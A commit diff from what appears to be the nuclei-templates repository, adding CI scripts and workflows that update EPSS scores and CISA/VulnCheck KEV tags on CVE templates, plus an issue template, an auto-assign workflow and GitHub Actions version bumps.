Create CVE-2020-22165.yaml

Kong Manager OSS/Admin - Exposure

.github/ISSUE_TEMPLATE/enhancement.yml

@@ -0,0 +1,73 @@
+name: Enhancement Request
+description: Suggest an improvement or enhancement for nuclei-templates.
+title: "[ENHANCEMENT] ..."
+labels: ["enhancement"]
+body:
+  - type: markdown
+    attributes:
+      value: |
+        Thanks for taking the time to suggest an enhancement!
+
+        :warning: **Issues missing important information may be closed without further investigation.**
+  - type: checkboxes
+    attributes:
+      label: Is there an existing issue for this?
+      description: Please search to see if an issue or discussion already exists for the enhancement you are proposing.
+      options:
+      - label: I have searched the existing issues and discussions.
+        required: true
+  - type: textarea
+    attributes:
+      label: Enhancement Description
+      description: |
+        Provide a clear and concise description of the enhancement you're proposing.
+
+        What would you like to see improved or added?
+      placeholder: |
+        A clear description of what you want to happen...
+    validations:
+      required: true
+  - type: textarea
+    attributes:
+      label: Use Case / Problem
+      description: |
+        Describe the use case or problem that this enhancement would solve.
+
+        Why is this enhancement needed? What problem does it address?
+      placeholder: |
+        Currently, when...
+        This causes...
+        It would be better if...
+    validations:
+      required: true
+  - type: textarea
+    attributes:
+      label: Proposed Solution
+      description: |
+        Describe your proposed solution or implementation approach.
+
+        How do you envision this enhancement working?
+      placeholder: |
+        The enhancement could work by...
+        It should include...
+    validations:
+      required: false
+  - type: textarea
+    attributes:
+      label: Alternatives Considered
+      description: |
+        Have you considered any alternative solutions or workarounds?
+      placeholder: |
+        Alternative approach 1...
+        Alternative approach 2...
+    validations:
+      required: false
+  - type: textarea
+    attributes:
+      label: Additional Context
+      description: |
+        Add any other context, screenshots, examples, or references about the enhancement here.
+
+        Tip: You can attach images or files by clicking this area to highlight it and then dragging files in.
+    validations:
+      required: false

.github/scripts/update-epss.py

@@ -0,0 +1,256 @@
+#!/usr/bin/env python3
+"""
+EPSS Score Updater for Nuclei Templates
+
+This script updates EPSS scores for all CVE templates by:
+1. Scanning all CVE YAML files
+2. Extracting CVE IDs
+3. Fetching latest EPSS scores from the FIRST API
+4. Updating the templates with new scores
+"""
+
+import os
+import re
+import sys
+import time
+import yaml
+import requests
+from pathlib import Path
+from typing import Dict, List, Tuple, Optional
+
+# Configuration
+EPSS_API_URL = "https://api.first.org/data/v1/epss"
+BATCH_SIZE = 50  # API limit for batch requests
+RATE_LIMIT_DELAY = 1  # seconds between API calls
+MAX_RETRIES = 3
+TIMEOUT = 30
+
+class EPSSUpdater:
+    def __init__(self, root_dir: str):
+        self.root_dir = Path(root_dir)
+        self.updated_count = 0
+        self.error_count = 0
+        
+    def find_cve_templates(self) -> List[Path]:
+        """Find all CVE template files."""
+        cve_files = []
+        
+        # Search for CVE templates in common directories
+        patterns = [
+            "**/cves/**/*.yaml",
+            "**/cve-*.yaml"
+        ]
+        
+        for pattern in patterns:
+            cve_files.extend(self.root_dir.glob(pattern))
+        
+        # Filter duplicates and sort
+        return sorted(list(set(cve_files)))
+    
+    def extract_cve_id(self, file_path: Path) -> Optional[str]:
+        """Extract CVE ID from filename or template content."""
+        # First try filename
+        filename = file_path.stem
+        cve_match = re.search(r'CVE-\d{4}-\d+', filename, re.IGNORECASE)
+        if cve_match:
+            return cve_match.group().upper()
+        
+        # If not found in filename, try content
+        try:
+            with open(file_path, 'r', encoding='utf-8') as f:
+                content = f.read()
+                cve_match = re.search(r'cve-id:\s*(CVE-\d{4}-\d+)', content, re.IGNORECASE)
+                if cve_match:
+                    return cve_match.group(1).upper()
+        except Exception as e:
+            print(f"Error reading {file_path}: {e}")
+            
+        return None
+    
+    def fetch_epss_scores(self, cve_ids: List[str]) -> Dict[str, Dict[str, str]]:
+        """Fetch EPSS scores from API for multiple CVEs."""
+        epss_data = {}
+        
+        # Process in batches
+        for i in range(0, len(cve_ids), BATCH_SIZE):
+            batch = cve_ids[i:i+BATCH_SIZE]
+            cve_param = ','.join(batch)
+            
+            for attempt in range(MAX_RETRIES):
+                try:
+                    print(f"Fetching EPSS data for batch {i//BATCH_SIZE + 1} ({len(batch)} CVEs)...")
+                    
+                    response = requests.get(
+                        EPSS_API_URL,
+                        params={'cve': cve_param},
+                        timeout=TIMEOUT
+                    )
+                    response.raise_for_status()
+                    
+                    data = response.json()
+                    
+                    if data.get('status') == 'OK' and 'data' in data:
+                        for item in data['data']:
+                            cve_id = item['cve'].upper()
+                            epss_data[cve_id] = {
+                                'epss': item['epss'],
+                                'percentile': item['percentile']
+                            }
+                    
+                    break  # Success, exit retry loop
+                    
+                except requests.RequestException as e:
+                    print(f"API request failed (attempt {attempt + 1}/{MAX_RETRIES}): {e}")
+                    if attempt == MAX_RETRIES - 1:
+                        print(f"Failed to fetch EPSS data for batch: {batch}")
+                    else:
+                        time.sleep(RATE_LIMIT_DELAY * (attempt + 1))
+                
+                except Exception as e:
+                    print(f"Unexpected error: {e}")
+                    break
+            
+            # Rate limiting between batches
+            if i + BATCH_SIZE < len(cve_ids):
+                time.sleep(RATE_LIMIT_DELAY)
+        
+        return epss_data
+    
+    def update_template(self, file_path: Path, cve_id: str, epss_data: Dict[str, str]) -> bool:
+        """Update a template file with new EPSS scores."""
+        try:
+            with open(file_path, 'r', encoding='utf-8') as f:
+                content = f.read()
+            
+            # Parse YAML to get structure
+            try:
+                template_data = yaml.safe_load(content)
+            except yaml.YAMLError as e:
+                print(f"YAML parsing error in {file_path}: {e}")
+                return False
+            
+            if not template_data or 'info' not in template_data:
+                print(f"Invalid template structure in {file_path}")
+                return False
+            
+            # Ensure classification section exists
+            if 'classification' not in template_data['info']:
+                template_data['info']['classification'] = {}
+            
+            classification = template_data['info']['classification']
+            
+            # Convert EPSS values to float for comparison
+            new_epss = float(epss_data['epss'])
+            new_percentile = float(epss_data['percentile'])
+            
+            current_epss = classification.get('epss-score', 0)
+            current_percentile = classification.get('epss-percentile', 0)
+            
+            # Check if update is needed
+            if (abs(new_epss - float(current_epss)) < 0.00001 and 
+                abs(new_percentile - float(current_percentile)) < 0.00001):
+                return False  # No significant change
+            
+            # Update scores using string replacement to preserve formatting
+            epss_score_str = f"{new_epss:.5f}".rstrip('0').rstrip('.')
+            percentile_str = f"{new_percentile:.5f}".rstrip('0').rstrip('.')
+            
+            # Update epss-score
+            if 'epss-score:' in content:
+                content = re.sub(
+                    r'(\s+epss-score:\s*)[0-9.]+',
+                    fr'\g<1>{epss_score_str}',
+                    content
+                )
+            else:
+                # Add after cve-id if exists
+                if 'cve-id:' in content:
+                    content = re.sub(
+                        r'(\s+cve-id:\s*CVE-\d{4}-\d+\s*\n)',
+                        fr'\g<1>    epss-score: {epss_score_str}\n',
+                        content
+                    )
+            
+            # Update epss-percentile
+            if 'epss-percentile:' in content:
+                content = re.sub(
+                    r'(\s+epss-percentile:\s*)[0-9.]+',
+                    fr'\g<1>{percentile_str}',
+                    content
+                )
+            else:
+                # Add after epss-score
+                content = re.sub(
+                    r'(\s+epss-score:\s*[0-9.]+\s*\n)',
+                    fr'\g<1>    epss-percentile: {percentile_str}\n',
+                    content
+                )
+            
+            # Write updated content
+            with open(file_path, 'w', encoding='utf-8') as f:
+                f.write(content)
+            
+            print(f"Updated {file_path.name}: EPSS={epss_score_str}, Percentile={percentile_str}")
+            return True
+            
+        except Exception as e:
+            print(f"Error updating {file_path}: {e}")
+            return False
+    
+    def run(self):
+        """Main execution function."""
+        print("Starting EPSS score update...")
+        
+        # Find all CVE templates
+        template_files = self.find_cve_templates()
+        print(f"Found {len(template_files)} CVE template files")
+        
+        if not template_files:
+            print("No CVE templates found!")
+            return
+        
+        # Extract CVE IDs and map to files
+        cve_to_files = {}
+        for file_path in template_files:
+            cve_id = self.extract_cve_id(file_path)
+            if cve_id:
+                if cve_id not in cve_to_files:
+                    cve_to_files[cve_id] = []
+                cve_to_files[cve_id].append(file_path)
+            else:
+                print(f"Could not extract CVE ID from {file_path}")
+        
+        print(f"Found {len(cve_to_files)} unique CVE IDs")
+        
+        # Fetch EPSS scores
+        all_cve_ids = list(cve_to_files.keys())
+        epss_data = self.fetch_epss_scores(all_cve_ids)
+        
+        print(f"Retrieved EPSS data for {len(epss_data)} CVEs")
+        
+        # Update templates
+        for cve_id, files in cve_to_files.items():
+            if cve_id in epss_data:
+                for file_path in files:
+                    if self.update_template(file_path, cve_id, epss_data[cve_id]):
+                        self.updated_count += 1
+            else:
+                print(f"No EPSS data found for {cve_id}")
+                self.error_count += 1
+        
+        print(f"\nUpdate complete!")
+        print(f"Templates updated: {self.updated_count}")
+        print(f"Errors: {self.error_count}")
+
+def main():
+    """Main entry point."""
+    if len(sys.argv) > 1:
+        root_dir = sys.argv[1]
+    else:
+        root_dir = os.getcwd()
+    
+    updater = EPSSUpdater(root_dir)
+    updater.run()
+
+if __name__ == "__main__":
+    main()

.github/scripts/update-kev.py

@@ -0,0 +1,366 @@
+#!/usr/bin/env python3
+"""
+Enhanced KEV and vKEV Tagging Updater for Nuclei Templates
+
+This script updates KEV and vKEV (VulnCheck Known Exploited Vulnerabilities) tags for all CVE templates by:
+1. Fetching the latest CISA KEV catalog
+2. Fetching VulnCheck's KEV data (if API key available)
+3. Adding 'kev' tag for CISA KEV CVEs
+4. Adding 'vkev' tag for VulnCheck KEV CVEs (including those not in CISA)
+"""
+
+import os
+import re
+import sys
+import time
+import json
+import requests
+from pathlib import Path
+from typing import Set, Optional, Dict, Tuple
+
+# Configuration
+CISA_KEV_JSON_URL = "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json"
+VULNCHECK_KEV_API_URL = "https://api.vulncheck.com/v3/index/vulncheck-kev"
+TIMEOUT = 30
+MAX_RETRIES = 3
+VULNCHECK_PAGE_SIZE = 100
+
+class EnhancedKEVUpdater:
+    def __init__(self, root_dir: str):
+        self.root_dir = Path(root_dir)
+        self.updated_count = 0
+        self.error_count = 0
+        self.cisa_kev_cves = set()
+        self.vulncheck_kev_cves = set()
+        self.vulncheck_api_key = os.getenv('VULNCHECK_API_KEY')
+
+    def find_cve_templates(self) -> list[Path]:
+        """Find all CVE template files."""
+        cve_files = []
+
+        # Search for CVE templates in common directories
+        patterns = [
+            "**/cves/**/*.yaml",
+            "**/cve-*.yaml"
+        ]
+
+        for pattern in patterns:
+            cve_files.extend(self.root_dir.glob(pattern))
+
+        return sorted(list(set(cve_files)))
+
+    def extract_cve_id(self, file_path: Path) -> Optional[str]:
+        """Extract CVE ID from filename or template content."""
+        # First try filename
+        filename = file_path.stem
+        cve_match = re.search(r'CVE-\d{4}-\d+', filename, re.IGNORECASE)
+        if cve_match:
+            return cve_match.group().upper()
+
+        # If not found in filename, try content
+        try:
+            with open(file_path, 'r', encoding='utf-8') as f:
+                content = f.read()
+                cve_match = re.search(r'cve-id:\s*(CVE-\d{4}-\d+)', content, re.IGNORECASE)
+                if cve_match:
+                    return cve_match.group(1).upper()
+        except Exception as e:
+            print(f"Error reading {file_path}: {e}")
+
+        return None
+
+    def fetch_cisa_kev_data(self) -> Set[str]:
+        """Fetch CISA KEV catalog and return set of CVE IDs."""
+        kev_cves = set()
+
+        for attempt in range(MAX_RETRIES):
+            try:
+                print("Fetching CISA KEV catalog...")
+                response = requests.get(CISA_KEV_JSON_URL, timeout=TIMEOUT)
+                response.raise_for_status()
+
+                data = response.json()
+
+                if 'vulnerabilities' in data:
+                    for vuln in data['vulnerabilities']:
+                        if 'cveID' in vuln:
+                            kev_cves.add(vuln['cveID'].upper())
+
+                    print(f"Retrieved {len(kev_cves)} CVEs from CISA KEV catalog")
+                    break
+                else:
+                    print("Invalid CISA KEV data format")
+
+            except requests.RequestException as e:
+                print(f"CISA KEV fetch failed (attempt {attempt + 1}/{MAX_RETRIES}): {e}")
+                if attempt == MAX_RETRIES - 1:
+                    print("Failed to fetch CISA KEV data")
+                else:
+                    time.sleep(2 * (attempt + 1))
+
+            except Exception as e:
+                print(f"Unexpected error fetching CISA KEV: {e}")
+                break
+
+        return kev_cves
+
+    def fetch_vulncheck_kev_data(self) -> Set[str]:
+        """Fetch VulnCheck KEV catalog and return set of CVE IDs."""
+        if not self.vulncheck_api_key:
+            print("VulnCheck API key not available, skipping vKEV data fetch")
+            return set()
+
+        vkev_cves = set()
+        page = 1
+        total_pages = None
+        pages_fetched = 0
+
+        print("Fetching VulnCheck KEV catalog...")
+
+        while True:
+            for attempt in range(MAX_RETRIES):
+                try:
+                    headers = {
+                        'Authorization': f'Bearer {self.vulncheck_api_key}',
+                        'Accept': 'application/json'
+                    }
+
+                    params = {
+                        'limit': VULNCHECK_PAGE_SIZE,
+                        'page': page
+                    }
+
+                    response = requests.get(VULNCHECK_KEV_API_URL, headers=headers, params=params, timeout=TIMEOUT)
+                    response.raise_for_status()
+
+                    data = response.json()
+
+                    if 'data' in data and data['data']:
+                        for entry in data['data']:
+                            if 'cve' in entry and entry['cve']:
+                                for cve_id in entry['cve']:
+                                    if cve_id and cve_id.startswith('CVE-'):
+                                        vkev_cves.add(cve_id.upper())
+
+                        # Check pagination info
+                        meta = data.get('_meta', {})
+                        total_pages = meta.get('total_pages', 0)
+                        current_page = meta.get('page', page)
+
+                        pages_fetched += 1
+                        print(f"Fetched page {current_page}/{total_pages} ({len(data['data'])} entries, {len(vkev_cves)} unique CVEs so far)")
+
+                        # Check if we've reached the last page
+                        if current_page >= total_pages:
+                            print(f"Completed fetching all {pages_fetched} pages")
+                            return vkev_cves
+
+                        # Rate limiting: small delay between requests to avoid hitting API limits
+                        if pages_fetched % 10 == 0:  # Every 10 pages, longer delay
+                            print(f"Pausing for rate limiting after {pages_fetched} pages...")
+                            time.sleep(2)
+                        else:
+                            time.sleep(0.5)  # Small delay between requests
+
+                        page += 1
+                        break  # Break retry loop, continue to next page
+                    else:
+                        print("No more VulnCheck KEV data")
+                        return vkev_cves
+
+                except requests.RequestException as e:
+                    print(f"VulnCheck KEV fetch failed (attempt {attempt + 1}/{MAX_RETRIES}, page {page}): {e}")
+                    if attempt == MAX_RETRIES - 1:
+                        print(f"Failed to fetch VulnCheck KEV data for page {page}")
+                        return vkev_cves  # Return what we have so far
+                    else:
+                        # Exponential backoff with rate limiting consideration
+                        delay = min(10, 2 * (attempt + 1))
+                        print(f"Retrying after {delay} seconds...")
+                        time.sleep(delay)
+
+                except Exception as e:
+                    print(f"Unexpected error fetching VulnCheck KEV: {e}")
+                    return vkev_cves  # Return what we have so far
+
+        print(f"Retrieved {len(vkev_cves)} CVEs from VulnCheck KEV catalog")
+        return vkev_cves
+
+    def has_tag(self, content: str, tag: str) -> bool:
+        """Check if template already has specific tag in tags field."""
+        # Look for tags field and check if tag is present
+        tags_match = re.search(r'tags:\s*([^\n]+)', content)
+        if tags_match:
+            tags_str = tags_match.group(1)
+            # Check for tag as a standalone tag (not part of another word)
+            if re.search(rf'\b{tag}\b', tags_str, re.IGNORECASE):
+                return True
+        return False
+
+    def add_tag(self, content: str, tag: str) -> tuple[str, bool]:
+        """Add tag to the tags field. Returns (updated_content, was_updated)."""
+        if self.has_tag(content, tag):
+            return content, False
+
+        # Find the tags field
+        tags_match = re.search(r'(\s*tags:\s*)([^\n]+)', content)
+        if tags_match:
+            indent = tags_match.group(1)
+            existing_tags = tags_match.group(2).rstrip()
+
+            # Add tag at the end
+            new_tags = existing_tags + f',{tag}'
+            new_line = f"{indent}{new_tags}"
+
+            updated_content = content.replace(tags_match.group(0), new_line)
+            return updated_content, True
+        else:
+            print(f"Warning: No tags field found to add {tag} tag")
+            return content, False
+
+    def remove_tag(self, content: str, tag: str) -> tuple[str, bool]:
+        """Remove tag from the tags field. Returns (updated_content, was_updated)."""
+        if not self.has_tag(content, tag):
+            return content, False
+
+        # Find and update tags field
+        tags_match = re.search(r'(\s*tags:\s*)([^\n]+)', content)
+        if tags_match:
+            indent = tags_match.group(1)
+            existing_tags = tags_match.group(2)
+
+            # Remove tag in various positions
+            new_tags = existing_tags
+            # Remove ,tag or tag, patterns
+            new_tags = re.sub(rf',\s*{tag}\b', '', new_tags)
+            new_tags = re.sub(rf'\b{tag}\s*,', '', new_tags)
+            new_tags = re.sub(rf'^\s*{tag}\s*$', '', new_tags)  # tag is only tag
+            new_tags = re.sub(rf'^\s*{tag}\s*,\s*', '', new_tags)  # tag is first tag
+
+            if new_tags != existing_tags:
+                new_line = f"{indent}{new_tags}"
+                updated_content = content.replace(tags_match.group(0), new_line)
+                return updated_content, True
+
+        return content, False
+
+    def update_template_tags(self, file_path: Path, cve_id: str, is_cisa_kev: bool, is_vulncheck_kev: bool) -> bool:
+        """Update a template file with KEV and vKEV tags."""
+        try:
+            with open(file_path, 'r', encoding='utf-8') as f:
+                content = f.read()
+
+            original_content = content
+            updated = False
+
+            # Handle CISA KEV tag
+            if is_cisa_kev:
+                # Add kev tag if missing
+                content, tag_added = self.add_tag(content, 'kev')
+                if tag_added:
+                    print(f"Added kev tag to {file_path.name}")
+                    updated = True
+            else:
+                # Remove kev tag if present but CVE is not in CISA KEV catalog
+                if self.has_tag(content, 'kev'):
+                    # Only remove if we're confident about our KEV data
+                    if len(self.cisa_kev_cves) > 1000:  # Sanity check
+                        content, tag_removed = self.remove_tag(content, 'kev')
+                        if tag_removed:
+                            print(f"Removed kev tag from {file_path.name} (no longer in CISA KEV catalog)")
+                            updated = True
+                    else:
+                        print(f"Warning: {cve_id} has kev tag but not in current CISA KEV catalog (keeping tag)")
+
+            # Handle VulnCheck KEV tag
+            if is_vulncheck_kev:
+                # Add vkev tag if missing
+                content, tag_added = self.add_tag(content, 'vkev')
+                if tag_added:
+                    print(f"Added vkev tag to {file_path.name}")
+                    updated = True
+            else:
+                # Remove vkev tag if present but CVE is not in VulnCheck KEV catalog
+                if self.has_tag(content, 'vkev') and len(self.vulncheck_kev_cves) > 100:  # Sanity check
+                    content, tag_removed = self.remove_tag(content, 'vkev')
+                    if tag_removed:
+                        print(f"Removed vkev tag from {file_path.name} (no longer in VulnCheck KEV catalog)")
+                        updated = True
+
+            # Write updated content if changes were made
+            if updated:
+                with open(file_path, 'w', encoding='utf-8') as f:
+                    f.write(content)
+                return True
+
+            return False
+
+        except Exception as e:
+            print(f"Error updating {file_path}: {e}")
+            self.error_count += 1
+            return False
+
+    def run(self):
+        """Main execution function."""
+        print("Starting enhanced KEV/vKEV tagging update...")
+
+        # Fetch KEV data
+        self.cisa_kev_cves = self.fetch_cisa_kev_data()
+        self.vulncheck_kev_cves = self.fetch_vulncheck_kev_data()
+
+        if not self.cisa_kev_cves and not self.vulncheck_kev_cves:
+            print("No KEV data available, exiting")
+            return
+
+        # Find all CVE templates
+        template_files = self.find_cve_templates()
+        print(f"Found {len(template_files)} CVE template files")
+
+        if not template_files:
+            print("No CVE templates found!")
+            return
+
+        # Process templates
+        cisa_kev_found = 0
+        vulncheck_kev_found = 0
+        both_kev_found = 0
+
+        for file_path in template_files:
+            cve_id = self.extract_cve_id(file_path)
+            if cve_id:
+                is_cisa_kev = cve_id in self.cisa_kev_cves
+                is_vulncheck_kev = cve_id in self.vulncheck_kev_cves
+
+                if is_cisa_kev:
+                    cisa_kev_found += 1
+                if is_vulncheck_kev:
+                    vulncheck_kev_found += 1
+                if is_cisa_kev and is_vulncheck_kev:
+                    both_kev_found += 1
+
+                if self.update_template_tags(file_path, cve_id, is_cisa_kev, is_vulncheck_kev):
+                    self.updated_count += 1
+            else:
+                print(f"Could not extract CVE ID from {file_path}")
+
+        print(f"\nEnhanced KEV/vKEV update complete!")
+        print(f"Templates updated: {self.updated_count}")
+        print(f"CISA KEV CVEs found in templates: {cisa_kev_found}")
+        print(f"VulnCheck KEV CVEs found in templates: {vulncheck_kev_found}")
+        print(f"CVEs in both CISA and VulnCheck KEV: {both_kev_found}")
+        print(f"CISA KEV catalog size: {len(self.cisa_kev_cves)}")
+        print(f"VulnCheck KEV catalog size: {len(self.vulncheck_kev_cves)}")
+        print(f"Errors: {self.error_count}")
+
+def main():
+    """Main entry point."""
+    if len(sys.argv) > 1:
+        root_dir = sys.argv[1]
+    else:
+        root_dir = os.getcwd()
+
+    updater = EnhancedKEVUpdater(root_dir)
+    updater.run()
+
+if __name__ == "__main__":
+    main()

.github/workflows/autoassign.yml

@@ -1,26 +1,164 @@
-name: 🤖 issue/pr assignment
-on:
-#  pull_request:
-#    types: [opened]
-#    branches: 
-#      - main
-  issues:
-    types: [opened]
+name: Auto-assign on open
 
-env:
-  ASSIGN_TASK_TOKEN: ${{ secrets.PDTEAMX_PAT }} # github personal token
+on:
+  issues:
+    types: [opened, reopened]
+  # Use pull_request_target so the job has permissions on PRs from forks.
+  pull_request_target:
+    types: [opened, ready_for_review, reopened]
+
+permissions:
+  contents: read
+  issues: write
+  pull-requests: write
+
+concurrency:
+  group: auto-assign-on-open
+  cancel-in-progress: false
 
 jobs:
-  build:
-    permissions: write-all
+  assign:
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v4 # checkout the repository content
-      - uses: actions/setup-python@v5
+      - uses: actions/github-script@v8
         with:
-          python-version: '3.10' # install the python version needed
-      - run: pip install requests
-#      - if: github.event_name == 'pull_request'
-#        run: python .github/scripts/assign_tasks.py ${{ github.event.pull_request.number }} pr ${{ secrets.GITHUB_TOKEN }}
-      - if: github.event_name == 'issues'
-        run: python .github/scripts/assign_tasks.py ${{ github.event.issue.number }} issue ${{ secrets.GITHUB_TOKEN }}
+          script: |
+            const ORG = context.repo.owner;
+            const REPO = context.repo.repo;
+
+            // ======= CONFIG: put your user pools here =======
+            // Usernames must be GitHub logins and collaborators on this repo.
+            const ISSUE_ASSIGNEES = [
+              "princechaddha","pussycat0x","ritikchaddha","DhiyaneshGeek"
+            ];
+            const REVIEW_POOL = [
+              "pussycat0x","ritikchaddha","DhiyaneshGeek","akokonunes"
+            ];
+            const LOOKBACK_DAYS = 15; // only used as a tie-break fairness metric
+            // ================================================
+
+            function toLowerAll(xs){ return xs.map(x => x.toLowerCase()); }
+            const issuePool = new Set(toLowerAll(ISSUE_ASSIGNEES));
+            const reviewPool = new Set(toLowerAll(REVIEW_POOL));
+            const sinceISO = new Date(Date.now() - LOOKBACK_DAYS*24*60*60*1000).toISOString();
+
+            // Simple "least recent then fewest in lookback" picker
+            function initMap(arr){ const m=new Map(); for(const a of arr) m.set(a,0); return m; }
+            const issueCounts = initMap(issuePool);
+            const prAssigneeCounts = initMap(reviewPool);
+            const prReviewerCounts = initMap(reviewPool);
+            const lastIssueAssign = new Map();
+            const lastPrAssignee = new Map();
+            const lastPrReviewer = new Map();
+
+            function pick(countsMap, lastMap, exclude=new Set()){
+              const cands = [...countsMap.keys()].filter(x => !exclude.has(x));
+              if (!cands.length) return null;
+              cands.sort((a,b)=>{
+                const ca=countsMap.get(a)||0, cb=countsMap.get(b)||0;
+                if (ca!==cb) return ca-cb;
+                const ta=lastMap.get(a)?.getTime()||0, tb=lastMap.get(b)?.getTime()||0;
+                if (ta!==tb) return ta-tb;
+                return a.localeCompare(b);
+              });
+              return cands[0];
+            }
+
+            async function buildIssueStats(){
+              for await (const page of github.paginate.iterator(
+                github.rest.issues.listForRepo,
+                { owner: ORG, repo: REPO, state: 'all', since: sinceISO, per_page: 100 }
+              )){
+                for (const it of page.data){
+                  if (it.pull_request) continue;
+                  const ts = new Date(it.created_at);
+                  if (ts < new Date(sinceISO)) continue;
+                  for (const a of (it.assignees||[])){
+                    const l=a.login.toLowerCase();
+                    if (issuePool.has(l)){
+                      issueCounts.set(l,(issueCounts.get(l)||0)+1);
+                      const lastTs = lastIssueAssign.get(l);
+                      if (!lastTs || ts > lastTs) lastIssueAssign.set(l, ts);
+                    }
+                  }
+                }
+              }
+            }
+
+            async function buildPrStats(){
+              for await (const page of github.paginate.iterator(
+                github.rest.pulls.list,
+                { owner: ORG, repo: REPO, state: 'all', per_page: 100 }
+              )){
+                for (const pr of page.data){
+                  const ts = new Date(pr.created_at);
+                  if (ts < new Date(sinceISO)) continue;
+                  // Count all assignees (plural)
+                  for (const a of (pr.assignees||[])){
+                    const l = a.login.toLowerCase();
+                    if (reviewPool.has(l)){
+                      prAssigneeCounts.set(l,(prAssigneeCounts.get(l)||0)+1);
+                      const lastTs = lastPrAssignee.get(l);
+                      if (!lastTs || ts > lastTs) lastPrAssignee.set(l, ts);
+                    }
+                  }
+                  // Count all reviewers separately
+                  for (const r of (pr.requested_reviewers||[])){
+                    const l=r.login.toLowerCase();
+                    if (reviewPool.has(l)){
+                      prReviewerCounts.set(l,(prReviewerCounts.get(l)||0)+1);
+                      const lastTs = lastPrReviewer.get(l);
+                      if (!lastTs || ts > lastTs) lastPrReviewer.set(l, ts);
+                    }
+                  }
+                }
+              }
+            }
+
+            // Build stats once per run (cheap enough for small repos)
+            await Promise.all([buildIssueStats(), buildPrStats()]);
+
+            // Determine context
+            if (context.eventName === 'issues') {
+              const issue = context.payload.issue;
+              if (issue.pull_request) return; // guard
+              if ((issue.assignees||[]).length>0) return;
+
+              const pickee = pick(issueCounts, lastIssueAssign);
+              if (!pickee) return;
+
+              await github.rest.issues.addAssignees({
+                owner: ORG, repo: REPO, issue_number: issue.number, assignees: [pickee]
+              });
+
+            } else if (context.eventName === 'pull_request_target') {
+              const pr = context.payload.pull_request;
+              const prNum = pr.number;
+
+              const author = (pr.user?.login||"").toLowerCase();
+              const assignee = pr.assignee?.login?.toLowerCase();
+
+              // Ensure one assignee (use assignee counts only)
+              let finalAssignee = assignee;
+              if (!finalAssignee) {
+                const a = pick(prAssigneeCounts, lastPrAssignee, new Set([author]));
+                if (a) {
+                  await github.rest.issues.addAssignees({
+                    owner: ORG, repo: REPO, issue_number: prNum, assignees: [a]
+                  });
+                  finalAssignee = a;
+                }
+              }
+
+              // One reviewer, not the author, not the assignee (use reviewer counts only)
+              const already = new Set((pr.requested_reviewers||[]).map(x=>x.login.toLowerCase()));
+              if (already.size === 0 && !pr.draft) {
+                const exclude = new Set([author, finalAssignee].filter(Boolean));
+                const reviewer = pick(prReviewerCounts, lastPrReviewer, exclude);
+                if (reviewer) {
+                  await github.rest.pulls.requestReviewers({
+                    owner: ORG, repo: REPO, pull_number: prNum, reviewers: [reviewer]
+                  });
+                }
+              }
+            }

.github/workflows/cve2json.yml

@@ -13,7 +13,7 @@ jobs:
     runs-on: ubuntu-latest
     if: github.repository == 'projectdiscovery/nuclei-templates'
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v5
       - uses: projectdiscovery/actions/setup/go@v1
         with:
           go-version: 'stable'

.github/workflows/epss-update.yml

@@ -0,0 +1,53 @@
+name: 📊 EPSS Score Update
+
+on:
+  schedule:
+    # Run daily at 2:00 AM UTC
+    - cron: '0 2 * * *'
+  workflow_dispatch:
+
+jobs:
+  update-epss:
+    runs-on: ubuntu-latest
+    if: github.repository == 'projectdiscovery/nuclei-templates'
+    steps:
+      - name: Checkout repository
+        uses: actions/checkout@v5
+
+      - name: Setup Python
+        uses: actions/setup-python@v6
+        with:
+          python-version: '3.11'
+
+      - name: Install dependencies
+        run: |
+          pip install requests pyyaml
+
+      - name: Update EPSS scores
+        run: python .github/scripts/update-epss.py
+
+      - name: Check for changes
+        id: changes
+        run: |
+          if git diff --quiet; then
+            echo "changes=false" >> $GITHUB_OUTPUT
+          else
+            echo "changes=true" >> $GITHUB_OUTPUT
+          fi
+
+      - name: Setup Git
+        if: steps.changes.outputs.changes == 'true'
+        uses: projectdiscovery/actions/setup/git@v1
+
+      - name: Commit changes
+        if: steps.changes.outputs.changes == 'true'
+        uses: projectdiscovery/actions/commit@v1
+        with:
+          files: '**/cves/**/*.yaml'
+          message: 'chore: update EPSS scores 🤖'
+
+      - name: Push changes
+        if: steps.changes.outputs.changes == 'true'
+        run: |
+          git pull origin $GITHUB_REF --rebase
+          git push origin $GITHUB_REF

.github/workflows/kev-update.yml

@@ -0,0 +1,56 @@
+name: 📋 KEV & vKEV Tag Update
+
+on:
+  schedule:
+    # Run daily at 3:00 AM UTC (1 hour after EPSS update)
+    - cron: '0 3 * * *'
+  workflow_dispatch:
+
+jobs:
+  update-kev:
+    runs-on: ubuntu-latest
+    if: github.repository == 'projectdiscovery/nuclei-templates'
+    steps:
+      - name: Checkout repository
+        uses: actions/checkout@v5
+
+      - name: Setup Python
+        uses: actions/setup-python@v6
+        with:
+          python-version: '3.11'
+
+      - name: Install dependencies
+        run: |
+          pip install requests pyyaml
+
+      - name: Update KEV and vKEV tags
+        run: python .github/scripts/update-kev.py
+        env:
+          # VulnCheck API key for enhanced vKEV data
+          VULNCHECK_API_KEY: ${{ secrets.VULNCHECK_API_KEY }}
+
+      - name: Check for changes
+        id: changes
+        run: |
+          if git diff --quiet; then
+            echo "changes=false" >> $GITHUB_OUTPUT
+          else
+            echo "changes=true" >> $GITHUB_OUTPUT
+          fi
+
+      - name: Setup Git
+        if: steps.changes.outputs.changes == 'true'
+        uses: projectdiscovery/actions/setup/git@v1
+
+      - name: Commit changes
+        if: steps.changes.outputs.changes == 'true'
+        uses: projectdiscovery/actions/commit@v1
+        with:
+          files: '**/cves/**/*.yaml'
+          message: 'chore: update KEV and vKEV tags and metadata 🤖'
+
+      - name: Push changes
+        if: steps.changes.outputs.changes == 'true'
+        run: |
+          git pull origin $GITHUB_REF --rebase
+          git push origin $GITHUB_REF

.github/workflows/new-templates.yml

@@ -18,7 +18,7 @@ jobs:
     runs-on: ubuntu-latest
     if: github.repository == 'projectdiscovery/nuclei-templates'
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v5
         with:
           fetch-depth: 0
       - name: Generate new addition list

.github/workflows/readme-update.yml

@@ -13,8 +13,8 @@ jobs:
     if: github.repository == 'projectdiscovery/nuclei-templates'
     steps:
       - run: sudo apt-get install tree -y
-      - uses: actions/checkout@v4
-      - uses: actions/setup-python@v5
+      - uses: actions/checkout@v5
+      - uses: actions/setup-python@v6
         with:
           python-version: "3.8"
       - run: python .github/scripts/update-readme.py

